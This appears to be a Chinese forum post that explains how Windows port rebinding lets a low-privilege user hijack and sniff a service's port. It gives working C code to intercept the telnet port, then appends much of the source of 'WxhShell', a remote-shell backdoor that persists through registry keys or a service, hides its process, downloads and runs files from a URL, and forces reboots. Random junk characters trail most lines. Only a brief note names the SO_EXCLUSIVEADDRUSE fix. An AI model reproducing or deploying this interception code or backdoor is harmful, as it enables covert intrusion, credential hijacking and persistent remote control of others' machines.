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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]H[8Z|i""  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >S#ul?  
(4+1lOd  
  saddr.sin_family = AF_INET; a39hP*  
\V%_hl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 's%q  
CEtR[Cu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0D [@u3W  
By((,QpB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q-AN[_@  
$k0H9_  
  这意味着什么?意味着可以进行如下的攻击: c@du2ICUc  
bXdY\&fE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2@i;_3sv  
cyF4iG'M,y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3Sh+u>w  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2CLB1  
Zhi})d3l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U}AX0*S  
WH$HI/%*m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (6qsKX  
?pwE0N^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?0vNEz[  
AU{:;%.g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '"xiS$b(  
?[= U%sPu=  
  #include SG'JE}jzO  
  #include aG27%(@  
  #include ImkrV{,e  
  #include    oY3>UZ5\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8T5k-HwE  
  int main() %a 8&W  
  { #Z9L_gDp  
  WORD wVersionRequested; Ap<J'?~y  
  DWORD ret; HeIS;gfUY  
  WSADATA wsaData; G$=-,6kZO  
  BOOL val; y-+G wa3  
  SOCKADDR_IN saddr; Ja [4A0.  
  SOCKADDR_IN scaddr;  ]PX}b  
  int err; Z)9R9s  
  SOCKET s; %e=!nRc  
  SOCKET sc; T\sNtdF`:  
  int caddsize; (B#(Z=  
  HANDLE mt; dOXD{c  
  DWORD tid;   x ^vt; $  
  wVersionRequested = MAKEWORD( 2, 2 ); <r\I"z$  
  err = WSAStartup( wVersionRequested, &wsaData ); p:[LnL  
  if ( err != 0 ) { '2v f|CX  
  printf("error!WSAStartup failed!\n"); !v>ew9  
  return -1; dgc&[  
  } T33|';k  
  saddr.sin_family = AF_INET; u''BP.Y S  
   ==9ZFdf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !,bPe5?Ql  
+R\~3uj[7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |63Y >U"  
  saddr.sin_port = htons(23); Bc ^4 T1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z`#_F}v,m/  
  { 5~}!@yzc  
  printf("error!socket failed!\n"); Fd8hGj1  
  return -1; d*-Xuv  
  } =AkX4k  
  val = TRUE; x_:hii?6V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nVOqn\m-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v33T @  
  { Eo=HNe  
  printf("error!setsockopt failed!\n"); o# {#r@,i  
  return -1; kL;t8{n  
  } ]w22@s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CeW7Ym  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p":zrf'(6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U[fSQ`&D  
O),I[kb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _*`q(dYcf  
  { >q9{  
  ret=GetLastError(); 0k1MKzi Q  
  printf("error!bind failed!\n"); MSYN1  
  return -1; r)B3es&&  
  }  1N.tQ^  
  listen(s,2); l l:jsm  
  while(1) `d`&R.'  
  { x[Q&k[xV  
  caddsize = sizeof(scaddr); PqfVX8/q0  
  //接受连接请求 Qj!d^8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [%~NM/xu<  
  if(sc!=INVALID_SOCKET) shK&2Noan  
  { \=g!$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yJJ8 "s~i  
  if(mt==NULL) d*9j77C]  
  { [V5-%w^  
  printf("Thread Creat Failed!\n"); CWMlZ VG  
  break; ~@fanR =  
  } OqEHM%j  
  } RKk"  
  CloseHandle(mt); &kx\W)  
  } .tp=T  
  closesocket(s); 7}07Pit  
  WSACleanup(); Pz {Ig  
  return 0; 7'UWRRsxUF  
  }   |"\lL9CT  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4vGbG:x  
  { H%T3Pc  
  SOCKET ss = (SOCKET)lpParam; )"~=7)~<^  
  SOCKET sc; V"g~q?@F  
  unsigned char buf[4096]; R `Q?J[e  
  SOCKADDR_IN saddr; u'Pn(A@1R  
  long num; _z%\'(l+  
  DWORD val; GfNWP  
  DWORD ret; h@Dw'w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W_D%|Ub2X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C~_q^fXJt  
  saddr.sin_family = AF_INET; hvcR.f)C>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Cha?7F[xL  
  saddr.sin_port = htons(23); d<?X3&J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6#-Z@fz%  
  { 1eF@_Y^a!  
  printf("error!socket failed!\n"); ,whM22Af~{  
  return -1; U]mO7HK  
  } #VR`?n?,  
  val = 100; ]E..43  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l~{T#Q  
  { qL~Pjr>cF  
  ret = GetLastError(); /0!$p[cjm  
  return -1; v/(__xN`B  
  } Nc:U4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )w@y(;WJ  
  { qIk )'!Vk  
  ret = GetLastError(); ]o!&2:'N`  
  return -1; 'F6#l"~/  
  } Y?e3Bx7*b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bZnDd  
  { $"(3MnR  
  printf("error!socket connect failed!\n"); EKJH_!%  
  closesocket(sc); IjgBa-o/V  
  closesocket(ss); MIJ%_=sm4:  
  return -1; '[xut1{  
  } A7e_w 7?a  
  while(1) Qvs(Rt3?y  
  { WT1q15U(=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *IVD/9/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s'2y%E#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &U8 54  
  num = recv(ss,buf,4096,0); -MsuBf  
  if(num>0) @US '{hO1p  
  send(sc,buf,num,0); ~.!?5(AH8z  
  else if(num==0) /$<JCNGv  
  break; +Hi{ /{k0N  
  num = recv(sc,buf,4096,0); +*Q9.LjV  
  if(num>0) [)bz6\d[  
  send(ss,buf,num,0); 0sY#MHPT&  
  else if(num==0) P[6dTZ!\s  
  break; #C'o'%!(  
  } Q0_M-^~WT  
  closesocket(ss);  !zF4 G,W  
  closesocket(sc); UU-v;_oP  
  return 0 ; }v,W-gA  
  } yqC+P  
~F=#}6kg_  
Ds;Rb6WcnY  
========================================================== uk`d,xF   
/XbY<pj  
下边附上一个代码,,WXhSHELL EgCp:L{  
]Oig ..LJ  
========================================================== d+1L5}Jn  
+}`p"<'u  
#include "stdafx.h" ,2E`:#$  
n,1NJKX  
#include <stdio.h> ?BXP}]  
#include <string.h> t>m8iS>  
#include <windows.h> #r-j.f}yx  
#include <winsock2.h> 0 [*nAo  
#include <winsvc.h> lS>=y#i3Xv  
#include <urlmon.h> IZzhJK M1V  
EgkZ$ah  
#pragma comment (lib, "Ws2_32.lib") Y^T-A}?`  
#pragma comment (lib, "urlmon.lib") 5Q2TT $P  
R4[. n@  
#define MAX_USER   100 // 最大客户端连接数 MM/BJ  
#define BUF_SOCK   200 // sock buffer /5a$@%  
#define KEY_BUFF   255 // 输入 buffer U+I3P  
&8IWDx.7}  
#define REBOOT     0   // 重启 mNGb} lR  
#define SHUTDOWN   1   // 关机 V;/ XG}M  
w;z@py  
#define DEF_PORT   5000 // 监听端口 WXRHG)nvL  
uQXs>JuD  
#define REG_LEN     16   // 注册表键长度 \5j22L9S  
#define SVC_LEN     80   // NT服务名长度 Q'>_59  
hCSR sk3  
// 从dll定义API W ??;4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QYFN:XZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *8pe<:A#p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =k[(rvU3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KE }o  
K gR1El. r  
// wxhshell配置信息 HCfS)`  
struct WSCFG { hqwz~Ky}  
  int ws_port;         // 监听端口 UEx(~>  
  char ws_passstr[REG_LEN]; // 口令 \1eKY^)2  
  int ws_autoins;       // 安装标记, 1=yes 0=no dn:|m^<)  
  char ws_regname[REG_LEN]; // 注册表键名 hVTyv"  
  char ws_svcname[REG_LEN]; // 服务名 \" 5F;J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !nZI? z;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z+5u/t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bw<~R2[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GN}9$:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vV\/pu8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UU;Y sj  
W0p#Y h:{_  
}; s /k  
VO\S>kw  
// default Wxhshell configuration #! K~_DL  
struct WSCFG wscfg={DEF_PORT, jn5=N[hd  
    "xuhuanlingzhe", +c~O0U1  
    1, 2J>A;x_?  
    "Wxhshell", n57c^/A*  
    "Wxhshell", Hzk1LKsT#  
            "WxhShell Service", Wb*T   
    "Wrsky Windows CmdShell Service", U?+30{hb  
    "Please Input Your Password: ", 'Sb6 w+  
  1, [57V8%  
  "http://www.wrsky.com/wxhshell.exe", TZ`]#^kU  
  "Wxhshell.exe" p~k`Z^ xY$  
    }; hx2!YNx !  
reD[j,i&t.  
// 消息定义模块 &?uzJx~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \?p9qR;"4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oeRYyJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b ?=  
char *msg_ws_ext="\n\rExit."; 2={K-s20  
char *msg_ws_end="\n\rQuit."; q%)*,I<  
char *msg_ws_boot="\n\rReboot..."; iZVT% A+q  
char *msg_ws_poff="\n\rShutdown..."; ;]8p:ME  
char *msg_ws_down="\n\rSave to "; HY%6eUhj  
l{%Op\  
char *msg_ws_err="\n\rErr!"; $6]x,Ct  
char *msg_ws_ok="\n\rOK!"; U:T5o]P<  
cZ7F1H~  
char ExeFile[MAX_PATH]; b(.o|d/P  
int nUser = 0; yx`r;|ds}  
HANDLE handles[MAX_USER]; <_FF~lj  
int OsIsNt; JsoWaD  
f;qKrw  
SERVICE_STATUS       serviceStatus; P(W\aLp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BLYk <m  
S^sW.(I  
// 函数声明 ix_$Ok  
int Install(void); LRLhS<9  
int Uninstall(void); uDMUy"8&!  
int DownloadFile(char *sURL, SOCKET wsh); B'[3kJ'  
int Boot(int flag); }lQn]q  
void HideProc(void); n"`SL<K1  
int GetOsVer(void); Y/Gswcz  
int Wxhshell(SOCKET wsl); !x!L&p  
void TalkWithClient(void *cs); _dRn0<#1(k  
int CmdShell(SOCKET sock);  Lqf#,J  
int StartFromService(void); 83O^e&Bt  
int StartWxhshell(LPSTR lpCmdLine); pCud` :o"  
ZLFdnC@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J{'zkR?Lr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $=6kh+n@  
EJSgTtp 2  
// 数据结构和表定义 ^FpiQF  
SERVICE_TABLE_ENTRY DispatchTable[] = =[CS2VQ'  
{ hH@o|!y  
{wscfg.ws_svcname, NTServiceMain}, Y9c9/_CSj  
{NULL, NULL} u/c~PxC  
}; !h~#L"z  
SBB bniK-  
// 自我安装 )jQe K  
int Install(void) 4s+J-l  
{ ?28G6T]/?d  
  char svExeFile[MAX_PATH];  TVEF+t  
  HKEY key; ^9m]KEucd7  
  strcpy(svExeFile,ExeFile); Ee?K|_\${  
'E6gEJ  
// 如果是win9x系统,修改注册表设为自启动 Am}PXj6  
if(!OsIsNt) { H2t pP~!G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oXZ@*   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &rtz&}ZB;  
  RegCloseKey(key); H1c|b !C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aDJjVD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <` VJU2  
  RegCloseKey(key); '\vmfp =  
  return 0; k-Hfip[ro  
    } OuJ y$e  
  } e+=G-u5}-  
} RBp(dKxM$w  
else { E9+O\"e9  
~.y4 ,-  
// 如果是NT以上系统,安装为系统服务 Ph!NY i,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x_^OS"h-  
if (schSCManager!=0) 0 6v5/Xf  
{ 68G] a N3  
  SC_HANDLE schService = CreateService whp\*]8  
  ( U\!LZ?gC  
  schSCManager, 22(]x}`  
  wscfg.ws_svcname, ~a0}  
  wscfg.ws_svcdisp, .$E~.6J %i  
  SERVICE_ALL_ACCESS, 8 $*cfOC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TKs@?Q,J  
  SERVICE_AUTO_START, VBj;2~Xj4h  
  SERVICE_ERROR_NORMAL, K &~#@I;  
  svExeFile, \#*;H|U.x  
  NULL, 5O;oo@A:[  
  NULL, b}{9 :n/SC  
  NULL, >|&OcU  
  NULL, L08;z  
  NULL 5~rY=0t  
  ); T!eh?^E  
  if (schService!=0) .Y Frb+6  
  { ofhZ@3  
  CloseServiceHandle(schService); `0gK;D8t  
  CloseServiceHandle(schSCManager); WOTu" Yj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `  vmk  
  strcat(svExeFile,wscfg.ws_svcname); a9q?9X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  C(Gb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O5n] 4)<  
  RegCloseKey(key); BE@H~<E J  
  return 0; RBojT   
    } \kRJUX! s  
  } TKutO0  
  CloseServiceHandle(schSCManager); x?& xz;  
} i{RS/,h4  
} T{J`t*Ym  
)RKhEm%Vr2  
return 1; 6!L*q  
} thboHPml{  
k |aOUW  
// 自我卸载 ~w}[ ._'#M  
int Uninstall(void) .&!{8jBX  
{ |4*2xDcl  
  HKEY key; v7I*W/  
UDqKF85H  
if(!OsIsNt) { iKTU28x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )x O_  
  RegDeleteValue(key,wscfg.ws_regname); z_0lMX`  
  RegCloseKey(key); T%#P??k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &ZFAUE,[  
  RegDeleteValue(key,wscfg.ws_regname); /M c"K  
  RegCloseKey(key); [ :(M<u`y>  
  return 0; F[giq 1#  
  } D`@U[`Sw  
} X{5DPhB,  
} $GK m`I"  
else { #AnSjl  
YU"\Wd[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B{i;+[ase  
if (schSCManager!=0) uWT&`m_(2  
{ 49kia!FR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ':>*=&  
  if (schService!=0) J]YN2{(x  
  { L|'ME| '  
  if(DeleteService(schService)!=0) { xa^HU~  
  CloseServiceHandle(schService); H<Taf%JT  
  CloseServiceHandle(schSCManager); <"P '"SC  
  return 0; ~ab_+%  
  } 9 3I9`!e  
  CloseServiceHandle(schService); $?Mz[X  
  } LjAIB(*  
  CloseServiceHandle(schSCManager); &_^<B7aC'k  
} W{/z-&  
} FPFYH?;$  
UR=s{nFd  
return 1; 'GoeVq  
} *N+aZV}`Z  
~7H.<kJt  
// 从指定url下载文件 ;;H:$lx  
int DownloadFile(char *sURL, SOCKET wsh) 6KTY`'I  
{ >mltE$|  
  HRESULT hr; #IwB  
char seps[]= "/"; /Day5\Q#  
char *token; *}&aK}h}I  
char *file; (6^k;j  
char myURL[MAX_PATH]; ZKL%rp_  
char myFILE[MAX_PATH]; NUtyUv  
E cz"O   
strcpy(myURL,sURL); \+A<s,x  
  token=strtok(myURL,seps); JNl+UH:.  
  while(token!=NULL) uQ1;+P:L  
  { UL"3skV   
    file=token; ]997`,1b  
  token=strtok(NULL,seps); K9Fnb6J$u  
  } LK5H~FK  
J>PV{N  
GetCurrentDirectory(MAX_PATH,myFILE); Mdh"G @$n  
strcat(myFILE, "\\"); L` "UeNT  
strcat(myFILE, file); B.WkHY%/  
  send(wsh,myFILE,strlen(myFILE),0); I]$d,N!.  
send(wsh,"...",3,0); jYZWf `X~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v w;  
  if(hr==S_OK) MF(~!SOIG  
return 0; wpI4P:  
else 7rg[5hP T  
return 1; g3rFJc  
PyF4uCn"H  
} }O{"qs#)  
PSE| 4{'  
// 系统电源模块 t"Hrn3w  
int Boot(int flag) rT)R*3  
{ 'E,Yht=/}  
  HANDLE hToken; hj1 jY  
  TOKEN_PRIVILEGES tkp; :W.(,65c  
:wAB"TCt0  
  if(OsIsNt) { 1w^[Eno$$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  (RS:_]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +60;z4y}w  
    tkp.PrivilegeCount = 1; rXX|?9 '  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1ouTZ'c?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z\5Nni/~6D  
if(flag==REBOOT) { TI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'a*IZb-M  
  return 0; _@TTVd  
} N8vl< Mq  
else { c.WT5|:qw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9U*vnLB  
  return 0; M8}M*\2  
}  <k5~z(  
  } X>>rvlDN  
  else { xw H`alu  
if(flag==REBOOT) { RGLqn{<V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mio'm  
  return 0; cf'Z#NfQ  
} ?Gfe?  
else { T5;D0tM/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '3->G/Pu  
  return 0; N~d]}J8}gx  
} P|U>(9;P,  
} ]0le=Ee^%  
+s}28U!  
return 1; E>D@#I>  
} swA"_A8>u  
78-:hk  
// win9x进程隐藏模块 quYZD6IH  
void HideProc(void) s#[Ej&2[=  
{ STI3|}G*P  
) b8*>k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )^+$5OR\c  
  if ( hKernel != NULL ) 3!L)7Z/  
  { 91XHz14  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $u sU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xWm'E2  
    FreeLibrary(hKernel); H5{J2M,f  
  } L)5nb-qp  
* ?+!(E  
return; \^cn}db)  
} WXL.D_=+  
nLg7A3[1v  
// 获取操作系统版本 [PT_y3'%  
int GetOsVer(void) G#Ow>NJ  
{ 0l6%[U?o  
  OSVERSIONINFO winfo; ]Y?$[+Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aRmS{X3  
  GetVersionEx(&winfo); V2.K*CpZ7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #p >PNW-  
  return 1; 5UbVg  
  else W>y_q  
  return 0; 9[*kpMC  
} \=<.0K A~  
6>Y}2fT}o3  
// 客户端句柄模块 iC]}M  
int Wxhshell(SOCKET wsl) &.,OvVAo  
{ W8^gPW*c5  
  SOCKET wsh; g:g>;" B O  
  struct sockaddr_in client; I"1\R8 R  
  DWORD myID; "<WS Es  
2h!3[{M\  
  while(nUser<MAX_USER) ?H`LrL/k  
{ V1G]LM  
  int nSize=sizeof(client); !QovpO">z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y>+D\|%Q  
  if(wsh==INVALID_SOCKET) return 1; c#DTL/8"DO  
ln.~>FO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mx }(w\\T  
if(handles[nUser]==0) o%.cQo=v*  
  closesocket(wsh); Ow I?(ruL'  
else 9[! Hz)|X  
  nUser++; fomkwN  
  } v\c3=DbO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); khfE<<$=  
K*<n<;W  
  return 0; 9=SZL~#CE  
} D-.>Dw:  
O\w%E@9Fh  
// 关闭 socket (LjY<dQO  
void CloseIt(SOCKET wsh) i@RjG   
{ -1R~3j1_  
closesocket(wsh); \WTg0b[  
nUser--; SUw{xGp  
ExitThread(0); [Dhc9  
} uP$K{ )  
b<8h\fR#'  
// 客户端请求句柄 = 7?'S#  
void TalkWithClient(void *cs) SXL6)pX  
{ pV!(#45~W  
*;m721#  
  SOCKET wsh=(SOCKET)cs; 'e)t+  
  char pwd[SVC_LEN]; m3D'7*U  
  char cmd[KEY_BUFF];  0c{N)  
char chr[1]; 4*3vZ6lhu  
int i,j; #/:[ho{JQ  
Rl~Tw9  
  while (nUser < MAX_USER) { O6pjuhMx  
TaC)N  
if(wscfg.ws_passstr) { ]k8XLgJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZBGI_9wZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oAL-v428  
  //ZeroMemory(pwd,KEY_BUFF); X DX_c@U  
      i=0; ,'j5tU?c  
  while(i<SVC_LEN) { it,%T)2H  
ObCwWj^qO  
  // 设置超时 38#(ruv  
  fd_set FdRead; mf3G$=[  
  struct timeval TimeOut; LP~$7a  
  FD_ZERO(&FdRead); Rq 7ksTo  
  FD_SET(wsh,&FdRead); 4c% :?H@2  
  TimeOut.tv_sec=8; C{) )T5G  
  TimeOut.tv_usec=0; =mZw71,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /vMpSN|3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c2C8}XJ|O  
g#AA.@/Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~AO0(Lp  
  pwd=chr[0]; V= _8G3  
  if(chr[0]==0xd || chr[0]==0xa) { (xTHin$  
  pwd=0; $Z j.  
  break; /~yqZD<O  
  } *8N~ Zmz  
  i++; Oe273Y^e  
    } ,wV2ZEW}e  
%vksN$^  
  // 如果是非法用户,关闭 socket j% nd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~i \69q%  
} 4MIVlg9  
x83XJFPWL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (ZnA#%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0nS6<:  
IE6/ E  
while(1) { @dXf_2Tv=  
CtfSfSAUuu  
  ZeroMemory(cmd,KEY_BUFF); zQ [mO  
Xy{b(b;9  
      // 自动支持客户端 telnet标准   mVkn~LD:0  
  j=0; =4I361oMf  
  while(j<KEY_BUFF) { b{oNV-<&{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JB-j@  
  cmd[j]=chr[0]; :$WRV-  
  if(chr[0]==0xa || chr[0]==0xd) { N_ >s2  
  cmd[j]=0; Q>rQ/V  
  break; LOA 90.D  
  } gO5;hd[ l  
  j++; _:g V7>S?  
    } 1$|z%(  
AL;"S;8  
  // 下载文件 f 6q@  
  if(strstr(cmd,"http://")) { \u*,~J)z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !y),| #7P  
  if(DownloadFile(cmd,wsh)) %:y-"m1\u$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YMWy5 \  
  else +)Ty^;+[1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YT_kMy>  
  } &F:7U!  
  else { f`cz @  
g R6:J  
    switch(cmd[0]) { A T%0i  
  OYKV*  
  // 帮助 ]}B&-Yp  
  case '?': { D(&OyZ~Q+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j)uIe)wZw  
    break; B|Omz:c  
  } jfWIPN  
  // 安装 pZR^ HOq  
  case 'i': { }'{(rU  
    if(Install()) 4?&=H *H:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OT[t EqQ  
    else /i"EVN`t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sq^,l6es>  
    break; A@#dv2JzP  
    } 0'~ ?u'  
  // 卸载 M$GD8|*e  
  case 'r': { Dn@ n:m  
    if(Uninstall()) VcP#/&B|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9Vim9R5T  
    else QZ`<+"a0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N@VD-}E  
    break; 5 9X|l&/  
    } -LY_7Kg  
  // 显示 wxhshell 所在路径 ^TjFR*S'E  
  case 'p': { <omz9d1  
    char svExeFile[MAX_PATH]; ks{s Q@~  
    strcpy(svExeFile,"\n\r"); c{ <3\  
      strcat(svExeFile,ExeFile); |joGrWv4  
        send(wsh,svExeFile,strlen(svExeFile),0); ZDb`]c4(  
    break; $?A]!Y;  
    } ufo?ZFq@$L  
  // 重启 ' ZJ6p0  
  case 'b': { K{iYp4pU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <(iOzn  
    if(Boot(REBOOT)) 7KEGTKfW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L`!sV-.  
    else { I@\{6hw  
    closesocket(wsh); |&'*Z\*ya  
    ExitThread(0); sPw(+m*C   
    } jlB3BwG{w  
    break; ^KlOD_GN|  
    } h~1QmEat  
  // 关机 9W8Dp?:  
  case 'd': { 8}0 D?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "~ `-Jkm   
    if(Boot(SHUTDOWN)) fG{oi(T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4rx|6NV6  
